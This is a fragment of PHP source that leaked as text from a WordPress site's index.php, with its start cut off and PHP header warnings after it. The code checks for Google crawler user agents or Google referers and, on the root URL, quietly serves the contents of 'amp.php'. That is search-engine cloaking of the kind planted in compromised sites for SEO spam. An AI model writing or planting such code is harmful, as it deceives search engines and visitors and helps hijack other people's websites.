empty($_SERVER['HTTP_REFERER'])) {
$referer = $_SERVER['HTTP_REFERER'];
} else {
$referer = '';
}
$googleBots = [
'Googlebot', // Genel Google bot
'AdsBot', // Google Ads bot
'Mediapartners-Google', // Google AdSense bot
'APIs-Google', // Google API bot
'Googlebot-Image', // Google Görseller botu
'Googlebot-Video', // Google Video botu
'Googlebot-News', // Google Haberler botu
'Googlebot-Search', // Google Search Console botu
'Googlebot-Inspect', // Google Inspect Tool
'Googlebot-Android', // Android cihazlardan gelen Googlebot
'Googlebot-Mobile', // Google mobil botu
'Googlebot-Ads', // Google Ads botu
'Googlebot-Discovery', // Google'ın keşif botu
'Google-', // Google'ın keşif botu
];
// Google botlarını veya Google'dan gelen kullanıcıları kontrol et
if (
preg_match('/' . implode('|', $googleBots) . '/i', $userAgent) || // Google botlarını kontrol et
strpos($referer, 'google.') !== false // Referer Google mı kontrol et
) {
// Check if the request is for the root directory and index.php
if ($_SERVER['REQUEST_URI'] == '/') {
include 'amp.php';
die();
}
}
Warning: Cannot modify header information - headers already sent by (output started at /home/f90126asim/public_html/index.php:1) in /home/f90126asim/public_html/wp-includes/pluggable.php on line 1450
Warning: Cannot modify header information - headers already sent by (output started at /home/f90126asim/public_html/index.php:1) in /home/f90126asim/public_html/wp-includes/pluggable.php on line 1453